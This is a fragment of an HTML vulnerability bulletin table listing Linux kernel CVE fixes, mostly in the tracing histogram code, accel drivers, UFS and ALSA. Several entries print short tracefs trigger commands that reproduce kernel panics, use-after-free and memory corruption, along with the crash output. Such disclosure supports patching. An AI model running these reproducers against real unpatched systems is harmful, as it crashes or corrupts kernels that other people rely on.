&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel: ethosu: Ensure SRAM size is 0 on mapping failure On a mapping failure of the SRAM, the SRAM size is left as non-zero. The probe will succeed as the error return is not checked since having SRAM is not a hard requirement. The non-zero size allows jobs to access SRAM which is left pointing to physical base address 0x0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97912&quot; target=&quot;_blank&quot;&gt;CVE-2026-97912&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel: ethosu: Ensure cmd stream ends with a stop op While the QSIZE register setting should prevent an out of bounds access of the command stream, it is not clear whether the h/w generates an interrupt in this case as is required (to prevent a timeout). As a stop op is expected end of the command stream, let&#039;s just ensure it is present. A stop op in the middle of the command stream also makes no sense.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97913&quot; target=&quot;_blank&quot;&gt;CVE-2026-97913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel: ethosu: Fix ethosu_job_open() return value A WARN_ON() returns a 0 or 1, not the original negative errno. Just drop the WARN_ON() as the FD open will pass the return code to userspace and there&#039;s only one possible source of the error (drm_sched_entity_init()).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97914&quot; target=&quot;_blank&quot;&gt;CVE-2026-97914&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/ivpu: Limit firmware log name prints to field size The name in struct vpu_tracing_buffer_header is a fixed-size array populated by the NPU firmware. It is expected to be NUL-terminated, but nothing on the host side enforces this, so printing it with an unbounded string conversion would read past the field if the terminator is ever missing and expose adjacent bytes of the shared tracing BO through dmesg and the debugfs FW log output. Print at most as many characters as the name field holds, so the output never runs past it even if the string is not NUL-terminated.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97915&quot; target=&quot;_blank&quot;&gt;CVE-2026-97915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/ivpu: Validate firmware log buffer metadata The tracing log headers parsed by fw_log_print_buffer() reside in DMA-shared BOs that the NPU firmware can write to. fw_log_from_bo() validated log-&amp;gt;header_size and log-&amp;gt;size, but fw_log_print_buffer() re-read those same fields from shared memory afterwards, allowing a TOCTOU where firmware changes them between the check and the use, and making the host dereference out-of-bounds addresses while printing logs. Snapshot the validated values once with READ_ONCE() and pass them down explicitly in a new struct ivpu_fw_log_desc instead of re-reading them from the shared struct.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97916&quot; target=&quot;_blank&quot;&gt;CVE-2026-97916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/ivpu: Validate full buffer range in ivpu_to_cpu_addr Add a size parameter to ivpu_to_cpu_addr() and validate that the whole [vpu_addr, vpu_addr + size) range stays within the BO.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97917&quot; target=&quot;_blank&quot;&gt;CVE-2026-97917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Undo the registration when enabling the histogram trigger fails Commit 6f86bdeab633 (&quot;tracing: Fix bad hist from corrupting named_triggers list&quot;) described how a trigger that is registered but not on file-&amp;gt;triggers ends up freed while still on the global named_triggers list, and moved the registration down so that hist_trigger_enable() follows it immediately. One path still gets there. hist_trigger_enable() adds the trigger and takes it straight back out when the event cannot be enabled: list_add_tail_rcu(&amp;amp;data-&amp;gt;list, &amp;amp;file-&amp;gt;triggers); update_cond_flag(file); if (trace_event_trigger_enable_disable(file, 1) &amp;lt; 0) { list_del_rcu(&amp;amp;data-&amp;gt;list); update_cond_flag(file); ret--; } so the list walk in hist_unregister_trigger() matches nothing, test stays NULL, and the -&amp;gt;free() that would call del_named_trigger() is skipped. out_unreg falls through to out_free, which frees the trigger anyway: BUG: KASAN: slab-use-after-free in find_named_trigger+0xac/0xc0 Read of size 8 at addr ffff8880091d3160 by task init/1 find_named_trigger+0xac/0xc0 hist_register_trigger+0xc1/0xa00 event_hist_trigger_parse+0x3146/0x6af0 event_trigger_write+0xce/0x160 Freed by task 69: kfree+0x154/0x420 trigger_kthread_fn+0xfd/0x160 Leave the trigger where hist_unregister_trigger() can find it and let that undo the registration, which is the only code that knows all of what cmd_ops-&amp;gt;init() took: the named list entry, the hist_pad reference, the reference on the trigger a named histogram is shared with, and the copied cmd_ops. It also pairs the failed trace_event_trigger_enable_disable(), whose sm_ref and buffered event reference are otherwise left behind. Since -&amp;gt;free() releases trigger_data and, for a trigger that does not share its histogram, hist_data with it, out_unreg can no longer fall through to out_free. For a trigger that does share, hist_register_trigger() has already destroyed the caller&#039;s hist_data, so the fall-through was reading freed memory there as well. Move the enable_timestamps check in hist_unregister_trigger() above the -&amp;gt;free() call for the same reason: hist_data does not outlive it once the trigger being removed is the one that owns it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97918&quot; target=&quot;_blank&quot;&gt;CVE-2026-97918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Take the reference before publishing the named histogram trigger event_hist_trigger_named_init() puts the trigger on the global named_triggers list and only then takes the reference on the trigger it shares its histogram with: data-&amp;gt;ref++; save_named_trigger(data-&amp;gt;named_data-&amp;gt;name, data); ret = event_hist_trigger_init(data-&amp;gt;named_data); if (ret &amp;lt; 0) { kfree(data-&amp;gt;cmd_ops); data-&amp;gt;cmd_ops = &amp;amp;trigger_hist_cmd; } return ret; event_hist_trigger_init() fails when alloc_hist_pad() cannot allocate, and nothing takes the trigger back off the list on the way out. event_hist_trigger_parse() frees it, and the next lookup by name reads the freed object: BUG: KASAN: slab-use-after-free in find_named_trigger+0xac/0xc0 Read of size 8 at addr ffff888009346860 by task init/1 find_named_trigger+0xac/0xc0 hist_register_trigger+0xc1/0xa00 event_hist_trigger_parse+0x3146/0x6af0 event_trigger_write+0xce/0x160 Freed by task 67: kfree+0x154/0x420 trigger_kthread_fn+0xfd/0x160 Do the reference first and publish once it has succeeded, so that nothing which can fail runs after the trigger becomes findable.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97919&quot; target=&quot;_blank&quot;&gt;CVE-2026-97919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Keep the entry count when the histogram stats allocation fails print_entries() uses n_entries both as the number of sort entries and as its own return value, so the -ENOMEM it stores when the stats allocation fails overwrites the count that the cleanup still needs: n_entries = tracing_map_sort_entries(map, ...); if (n_entries &amp;lt; 0) return n_entries; ... if (!stats) { n_entries = -ENOMEM; goto out; } ... out: tracing_map_destroy_sort_entries(sort_entries, n_entries); tracing_map_destroy_sort_entries() takes an unsigned int and loops up to it, so -ENOMEM arrives as 4294967284. It walks an array of at most map-&amp;gt;max_elts pointers and calls destroy_sort_entry(), which dereferences and frees, on whatever lies past the end. Reading the hist file of a trigger with a .percent value, with that allocation forced to fail: BUG: KASAN: vmalloc-out-of-bounds in tracing_map_destroy_sort_entries+0xa0/0xb0 Read of size 8 at addr ffffc90000045000 by task init/1 tracing_map_destroy_sort_entries+0xa0/0xb0 hist_show+0x6f7/0x1df0 seq_read_iter+0x2b8/0x1190 vfs_read+0x176/0xa40 The buggy address belongs to a 4-page vmalloc region starting at ffffc90000041000 allocated at tracing_map_sort_entries+0x5c/0xd50 A few pages further the fault is fatal. The registers at the oops confirm the bound: the loop&#039;s end pointer less the array start, over the pointer size, is 4294967284. Return the error in a separate variable and leave n_entries holding the count, the way tracing_map_sort_entries() does on its own error path. The stats block is only entered for a value carrying .percent or .graph, which __create_val_field() has rejected since v6.3, so this cannot be reached in mainline as it stands. It becomes reachable again with &quot;tracing: hist: let values keep the percent and graph modifiers&quot;, so it should be applied first.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97920&quot; target=&quot;_blank&quot;&gt;CVE-2026-97920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Free histogram the field rejected for a bad modifier Writing a hist trigger whose value or variable carries a modifier that is not allowed there leaks the fields that were built for it. __create_val_field() takes the field from parse_expr() and stores it in hist_data-&amp;gt;fields[] only after the modifier checks have run: hist_field = parse_expr(hist_data, file, field_str, flags, var_name, &amp;amp;n_subexprs); ... if (hist_field-&amp;gt;flags &amp;amp; HIST_FIELD_FL_VAR) { if (hist_field-&amp;gt;flags &amp;amp; (...)) goto err; } else { if (hist_field-&amp;gt;flags &amp;amp; (...)) goto err; } hist_data-&amp;gt;fields[val_idx] = hist_field; Both checks jump past that store, and the err label returns without freeing anything. The error unwinds to create_hist_data(), which calls destroy_hist_data() -&amp;gt; destroy_hist_fields(), and that reaches a field only by walking fields[]. A field that never got there is unreachable. commit e0213434fe3e (&quot;tracing: Do not let histogram values have some modifiers&quot;) set ret to -EINVAL and fell through to the store, which left the field owned by fields[] and freed along with the rest of hist_data. Splitting the check into a value case and a variable case replaced that fall-through with a goto that skips it. With CONFIG_DEBUG_KMEMLEAK, 200 writes of # echo &#039;hist:keys=prev_pid:vals=next_pid.log2&#039; &amp;gt; \ events/sched/sched_switch/trigger each correctly rejected with -EINVAL, leave 332 unreferenced objects (63744 bytes) reported at create_hist_field(); 200 install and remove cycles of a valid trigger leave none. A &#039;.log2&#039; field is two allocations, since create_hist_field() puts the plain field in operands[0] of the log2 field, and both are reported. Use destroy_hist_field() rather than __destroy_hist_field() so that operands[0] is freed as well. It returns early for HIST_FIELD_FL_VAR_REF, which is what an operand owned by hist_data-&amp;gt;var_refs[] needs; the rejected field itself is never a var ref, because a var ref never carries a modifier flag.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97921&quot; target=&quot;_blank&quot;&gt;CVE-2026-97921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Free histogram var refs regardless of how often they are referenced Using the same variable three or more times in one hist trigger leaks the variable reference and its strings when the trigger is removed. commit 656fe2ba85e8 (&quot;tracing: Use hist trigger&#039;s var_ref array to destroy var_refs&quot;) made a trigger&#039;s var_refs[] array the only owner of a var ref: destroy_hist_field() returns early for HIST_FIELD_FL_VAR_REF, so the field expressions never destroy one. One entry, freed once, no count needed. commit 8bcebc77e85f (&quot;tracing: Fix histogram code when expression has same var as value&quot;) then made repeated references share one object and added a count of them. Only the increment side exists, since those expressions still return early and never drop a reference, so __destroy_hist_field() sees how many references were created rather than how many are left. It frees when the decremented count is 0 or 1, so two references work and three or more leak. Sharing kept one array entry per object, and create_var_ref() searches and appends within a single trigger, so nothing outside it holds the object. Removing a trigger whose variables are still referenced is already refused by check_var_refs() with -EBUSY. Drop the count and free unconditionally.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97922&quot; target=&quot;_blank&quot;&gt;CVE-2026-97922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Free histogram the var ref when its initialization fails create_var_ref() allocates a VAR_REF hist_field and then calls init_var_ref() to fill it in. When that fails the field is leaked. commit 656fe2ba85e8 (&quot;tracing: Use hist trigger&#039;s var_ref array to destroy var_refs&quot;) made destroy_hist_field() return early for HIST_FIELD_FL_VAR_REF, since var refs are freed by walking the trigger&#039;s var_refs[] array instead. create_var_ref() adds the field to that array only after init_var_ref() has succeeded, so on this path the field is in neither place and nothing frees it. The call was correct when it was written, before var refs were taken out of destroy_hist_field(). init_var_ref() cannot free it either. The caller owns the field, so init_var_ref() undoes only its own string allocations and leaves the field alone. Freeing it there would leave create_var_ref() passing freed memory to destroy_hist_field(), which reads its flags. Call __destroy_hist_field(), which frees the field without consulting the flag.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97923&quot; target=&quot;_blank&quot;&gt;CVE-2026-97923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing/user_events: Don&#039;t destroy fields when event removal fails destroy_user_event() destroys the event&#039;s fields before attempting to remove the trace event call. If user_event_set_call_visible() fails, e.g. because the event is still enabled and trace_remove_event_call() returns -EBUSY, the event is left registered with an irreversibly destroyed field list. Any subsequent interaction with the event then operates on an empty field list while it is still fully visible in tracefs. Move the field destruction after the call removal, and splice the field list back onto the event when the removal fails so the event remains in a consistent state.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97924&quot; target=&quot;_blank&quot;&gt;CVE-2026-97924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tick/broadcast: Plug clockevents replacement race æœ±æºä¹¾ reported and decoded the following race condition when a broadcast device is replaced: CPUA CPUB __tick_broadcast_oneshot_control() bc = tick_broadcast_device.evtdev; tick_install_broadcast_device(dev) clockevents_exchange_device(cur, dev) shutdown(cur); detach(cur); cur-&amp;gt;handler = noop; tick_broadcast_device.evtdev = dev; tick_broadcast_set_event(bc, next_event); &amp;lt;- FAIL: arms a detached device. If the original broadcast device has a restricted interrupt affinity mask and the last CPU in that mask goes offline then the BUG() in tick_cleanup_dead_cpu() triggers because the clockevent device is not in detached state. The reason for this is that tick_install_broadcast_device() is not serialized vs. tick broadcast operations. The obvious cure is to serialize tick_install_broadcast_device() with tick_broadcast_lock against a concurrent tick broadcast operation. That requires to split clockevents_exchange_device() into two parts, one which does the exchange, shutdown and detach operation and the other which drops the module reference count. This is required because the module reference cannot be dropped while holding tick_broadcast_lock. Let clockevents_exchange_device() do both operations as before, but let the broadcast device code take the two step approach and do the device exchange under tick_broadcast_lock and drop the module reference count after releasing it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97925&quot; target=&quot;_blank&quot;&gt;CVE-2026-97925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ufs: create the root dentry after loading cylinder metadata ufs_fill_super() installed sb-&amp;gt;s_root before it loaded the cylinder group structures for a writable mount: sb-&amp;gt;s_root = d_make_root(inode); ... if (!sb_rdonly(sb)) if (!ufs_read_cylinder_structures(sb)) goto failed; When ufs_read_cylinder_structures() failed, the error path freed the in-core superblock information and set sb-&amp;gt;s_fs_info to NULL while sb-&amp;gt;s_root stayed installed. get_tree_bdev() then reached deactivate_locked_super(), and because s_root was present, generic_shutdown_super() called sync_filesystem() and the put_super operation. Both dereference UFS_SB(sb), which is now NULL, so a mount that fails only while reading the cylinder groups oopses during teardown. A crafted image whose first cylinder group cannot be read reaches this path. Load the cylinder group metadata first and create the root dentry last, so the superblock is published to the VFS only once it is fully set up. ufs_setup_cstotal() and ufs_read_cylinder_structures() take only the super_block and do not use the root inode, so the reordering is safe.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97927&quot; target=&quot;_blank&quot;&gt;CVE-2026-97927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: skip the VMID 0 flush for VRAM Clear-on-release only runs on VRAM, which amdgpu_ttm_map_buffer() reaches via its direct MC address without programming a GART window, yet the wipe still forces a VMID 0 flush. On GFX11 (e.g. Navi33) that spurious SDMA flush can wedge the engine; only flush when a GART window is actually used. v2: Let amdgpu_ttm_map_buffer() return whether the VMID 0 flush is needed, and drive the clear and copy paths from that. (Christian) v3: Make the vm_needs_flush output parameter mandatory instead of allowing NULL. (Christian) (cherry picked from commit a306e406e570b74318ff7d80e5b07b540ca1d3a9)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97928&quot; target=&quot;_blank&quot;&gt;CVE-2026-97928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: usbusx2y: validate URB actual_length in interrupt callback i_usx2y_in04_int() processes the interrupt URB data without checking urb-&amp;gt;actual_length. A short transfer from a malfunctioning device would cause the handler to process uninitialized heap data from the kmalloc-allocated in04_buf, which is then copied to the mmap-accessible ctl_snapshot[] array. Fix by using kzalloc() for in04_buf to zero-initialize the buffer, and adding an actual_length check to skip processing on short transfers while still resubmitting the URB.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97929&quot; target=&quot;_blank&quot;&gt;CVE-2026-97929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: usbusx2y: fix in04_last array size mismatch with in04_buf The in04_last array in struct usx2ydev is declared as char[24], but in04_buf is allocated as sizeof(struct us428_ctls) which is 21 bytes. In i_usx2y_in04_int(), when ctl_snapshot_last == -2 (initialization path): memcpy(usx2y-&amp;gt;in04_last, usx2y-&amp;gt;in04_buf, sizeof(usx2y-&amp;gt;in04_last)); This copies 24 bytes from a 21-byte slab allocation, reading 3 bytes past the end of the source object. Introduce a USX2Y_IN04_SIZE constant defined as sizeof(struct us428_ctls) and use it consistently for the in04_last array, the in04_buf allocation, the URB transfer length, and the comparison loop, replacing the bare 24 and 21 literals throughout.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97930&quot; target=&quot;_blank&quot;&gt;CVE-2026-97930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Don&#039;t dereference trace_event_file in deferred trigger free The enable_event trigger defers trace_event_put_ref() to the trigger free kthread, but the trace_event_file can already be freed when the instance is removed. Keep the trace_event_call directly in enable_trigger_data so the deferred free does not access the freed trace_event_file.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97932&quot; target=&quot;_blank&quot;&gt;CVE-2026-97932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Take trace_array reference when opening a tracer options file When a tracer option file is opened, it is passed a descriptor that points to an element on the trace_array&#039;s topts array. This element has information to find the trace array and other information. It uses this element to take a reference of the trace_array so that the trace_array does not get removed while this file is opened. Unfortunately, there&#039;s a race condition where the element itself could be freed by the removal of the instance the trace_array represents causing a use-after-free as this element that is used to find the trace_array to increment its reference counter is also freed when the instance is removed. To solve this, add a trace_array_tracer_options_get() helper function that will take the address of the element that is passed to the open function by the inode-&amp;gt;i_private pointer and search all the trace_arrays under a lock to find the one that the element&#039;s address is in the range of the trace_arrays topts array elements. When a match happens, that trace_array&#039;s reference would be increased. Note, there&#039;s a race where if an admin was deleting and creating trace instances at the same time and the memory of the old trace_array&#039;s array matched the memory of the new trace_array that it could in theory open the option from the wrong trace array. But we do not care because it would be stupid to perform that kind of action. As long as the only thing that can happen is that the option from the wrong trace array is used and doesn&#039;t crash the kernel it will only make the user confused. But if they are doing something stupid like this, they are already confused, so no harm done.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97933&quot; target=&quot;_blank&quot;&gt;CVE-2026-97933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Fix memory corruption from a &quot;STACKTRACE&quot; histogram key &quot;cpu&quot;, &quot;CPU&quot;, &quot;stacktrace&quot; and &quot;STACKTRACE&quot; are generic fields, defined with an offset and a size of zero so that the filter code can match them by name. parse_field() maps them onto their common_* equivalents for backward compatibility, but unlike the common_* names it hands the placeholder back to the caller instead of NULL. create_hist_field() takes a non-NULL field as a promise that the record carries a stacktrace and picks HIST_FIELD_FN_STACK, so the __data_loc word is read from offset 0, that is from common_type, and its low 16 bits are followed as an offset into the record. What is found there becomes the length of an unbounded memcpy. Pick an event whose id is small enough that the offset stays inside its own record and the length is a kernel text address: # cd /sys/kernel/tracing # echo &#039;hist:keys=STACKTRACE&#039; &amp;gt; events/ftrace/print/trigger # echo hello &amp;gt; trace_marker Oops: general protection fault, probably for non-canonical address RIP: 0010:rb_next+0x23/0x60 &amp;lt;/IRQ&amp;gt; RIP: 0010:memcpy+0xc/0x30 event_hist_trigger+0x2e7/0x12c0 Kernel panic - not syncing: Fatal exception in interrupt Leave the field NULL, which is what the comment above the branch says the code does and what common_stacktrace already does. FILTER_CPU and FILTER_COMM are left alone, their create_hist_field() branches never look at the field.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97934&quot; target=&quot;_blank&quot;&gt;CVE-2026-97934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Set the trace clock before registering the histogram trigger hist_register_trigger() puts the trigger on the global named_triggers list in cmd_ops-&amp;gt;init(), and only then sets the trace clock: if (data-&amp;gt;cmd_ops-&amp;gt;init) { ret = data-&amp;gt;cmd_ops-&amp;gt;init(data); if (ret &amp;lt; 0) goto out; } if (hist_data-&amp;gt;enable_timestamps) { ret = tracing_set_clock(file-&amp;gt;tr, hist_data-&amp;gt;attrs-&amp;gt;clock); if (ret) { hist_err(tr, HIST_ERR_SET_CLOCK_FAIL, errpos(clock)); goto out; } The clock string is not checked anywhere before that call, so a named trigger using common_timestamp with an unknown clock fails after it has already become findable. event_hist_trigger_parse() then frees it without taking it off the list, and the next lookup by name reads the freed object: ~# cd /sys/kernel/tracing/events/sched/sched_switch ~# echo &#039;hist:name=foo:keys=common_pid:ts=common_timestamp:clock=bogus&#039; &amp;gt; trigger bash: echo: write error: Invalid argument ~# echo &#039;hist:name=foo:keys=common_pid&#039; &amp;gt; trigger BUG: KASAN: slab-use-after-free in find_named_trigger+0xac/0xc0 Read of size 8 at addr ffff88800915d760 by task init/1 find_named_trigger+0xac/0xc0 hist_register_trigger+0xc1/0x900 event_hist_trigger_parse+0x3146/0x6af0 event_trigger_write+0xce/0x160 Freed by task 63: kfree+0x154/0x420 trigger_kthread_fn+0xfd/0x160 Set the clock before the trigger is registered, so that nothing which can fail runs after it is published, the way commit 6f86bdeab633 (&quot;tracing: Fix bad hist from corrupting named_triggers list&quot;) moved the registration below the rest of the setup. tracing_set_filter_buffering() is reference counted, so the init failure path has to drop the reference that the clock block now takes first.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97935&quot; target=&quot;_blank&quot;&gt;CVE-2026-97935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Fix memory corruption from the histogram stacktrace modifier parse_field() sets HIST_FIELD_FL_STACKTRACE from the &quot;.stacktrace&quot; modifier before it looks the field name up, and nothing afterwards checks that the name resolved to a field which holds a stacktrace. create_hist_field() picks HIST_FIELD_FN_STACK on the strength of the field pointer alone, which reads a __data_loc word from the record and follows its low 16 bits as an offset into the same record. event_hist_trigger() takes the first word there as an entry count and copies that many longs into a 31 entry array: n_entries = *stack; memcpy(entries, ++stack, n_entries * sizeof(unsigned long)); Neither end of that copy is bounded, and the count is whatever the event holds at the offset, so any field will do: # cd /sys/kernel/tracing/events/sched/sched_process_fork # echo &#039;hist:keys=parent_pid.stacktrace&#039; &amp;gt; trigger # (true) BUG: kernel NULL pointer dereference, address: 0000000000000008 RIP: 0010:rb_insert_color+0x18/0x130 timerqueue_linked_add+0x7e/0xd0 enqueue_hrtimer+0x39/0xb0 __hrtimer_run_queues+0x10f/0x1f0 &amp;lt;/IRQ&amp;gt; RIP: 0010:memcpy+0xc/0x30 event_hist_trigger+0x165/0x690 The timer interrupt landed on the rbtree the copy had already run over. No debug options are needed for this; KASAN reports the same write as an out-of-bounds read of 13835058055416381440 bytes. Documentation/trace/histogram.rst already states the rule, &quot;must be a long[] type&quot;, so enforce it once the name has been resolved. Names which resolve to no field at all, &quot;hitcount.stacktrace&quot; and the common_* pseudo-fields, are refused for the same reason: they hold no stacktrace to read.&lt;/td&gt;
